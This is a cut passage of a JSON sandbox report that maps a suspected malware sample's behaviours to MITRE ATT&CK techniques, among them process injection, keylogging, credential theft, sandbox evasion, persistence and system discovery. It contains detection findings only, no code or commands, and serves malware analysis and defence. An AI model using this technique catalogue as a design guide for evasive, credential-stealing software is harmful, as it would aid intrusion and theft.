(IPC)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads rich edit control libraries"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Contains ability to access the loader directly (API string)"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve the contents of the STARTUPINFO structure"},{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Dotnet code contains ability to modify/delete registry"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Contains ability to delete registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Persistence","technique":"Installer Packages","attack_id":"T1546.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/016","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"tactic":"Persistence","technique":"DLL","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Potential hijacking of DLL execution flow detected"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"suspicious","value":"Contains ability to update the user profile"},{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Imports system security related APIs"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Privilege Escalation","technique":"Thread Local Storage","attack_id":"T1055.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/005","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Contains ability to modify process memory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Privilege Escalation","technique":"Portable Executable Injection","attack_id":"T1055.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/002","identifiers":[{"type":"informative","value":"Attempts remote code execution into another process memory space"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"informative","value":"Contains ability to load content from resource"},{"type":"informative","value":"PE file contains zero-sized sections"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"YARA signature match - RC4 Encryption"},{"type":"informative","value":"Contains ability to encrypt/encode message (API string)"},{"type":"informative","value":"YARA signature match - AES Encryption"},{"type":"informative","value":"Dotnet file resource with suspicious entropy"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Found XOR operators (encryption/decryption)"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"PE file contains zero-size sections"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"},{"type":"informative","value":"Able to identify virtual environment using user register activity"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Contains ability to enumerate volumes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to query local/system time as file time"},{"type":"suspicious","value":"Calls an API typically used to query local/system time as file time"},{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Calls an API typically used to remove a directory"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to modify file system redirection (API string)"},{"type":"informative","value":"Contains ability to modify file system redirection"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Spawns Windows crash diagnostic and reporting process"},{"type":"informative","value":"Found virtual disk drive like strings"},{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Contains ability to decode string content at runtime (Dotnet)"},{"type":"informative","value":"Contains ability to load content into memory (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Tries to map intranet network resources to internet zone"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"The input sample contains the RDTSCP instruction"},{"type":"informative","value":"Contains ability to detect sandbox (imports API)"},{"type":"informative","value":"The input sample possibly contains the RDTSCP instruction"},{"type":"informative","value":"Makes a code branch decision directly after an API that is environment aware"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"malicious","value":"PE file contains executable resources"},{"type":"suspicious","value":"Section contains high entropy"},{"type":"informative","value":".rdata section contains high entropy"},{"type":"informative","value":"YARA signature match – Embedded PE executable"},{"type":"informative","value":"YARA signature match - PE executable embedded in .rsrc section"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"},{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"},{"type":"informative","value":"Renames files"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to set file attributes (Dotnet)"},{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"},{"type":"suspicious","value":"PE file has unusual entropy sections"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"},{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"},{"type":"informative","value":"Found strings related to keylogger"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Found strings related to file managers"},{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Found registry location string related to processor"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Contains ability to find logical drives of the machine (API string)"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve information about operating system (API string)"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"suspicious","value":"Contains ability to retrieve a module handle"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"suspicious","value":"Contains ability to query CPU information"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to query volume/memory size (API string)"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Read system defined device setup information from registry"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files in program files directory"},{"type":"informative","value":"Contains references to file movement (imports API)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to retrieve files based on search patterns"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to enumerates all mounted drives"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve system network configuration"},{"type":"informative","value":"Contains ability to retrieve network parameters of a computer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"informative","value":"Calls an APIs used to retrieve process information"},{"type":"informative","value":"Contains ability to retrieve process ID (API string)"},{"type":"informative","value":"Spawns new processes"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to query machine time"},{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user names for specified SIDs"},{"type":"informative","value":"Contains ability to lookup the windows account name"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Queries for Borland Delphi related registry entry"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Contains reference to Borland Delphi related registry entry"},{"type":"informative","value":"Dotnet code contains ability to query registry"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Contains ability to retrieve system language"},{"type":"informative","value":"Calls an API typically used to retrieve default language settings"},{"type":"informative","value":"Contains ability to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Imports windows networking related APIs"},{"type":"malicious","value":"Contains ability to discover network shares"},{"type":"informative","value":"Contains ability to query information about shared network resources (API string)"},{"type":"informative","value":"Contains ability to enumerate system network resources (API string)"},{"type":"informative","value":"Contains ability to provide information and utilities for managing network resources (API string)"},{"type":"informative","value":"Imports windows networking-related 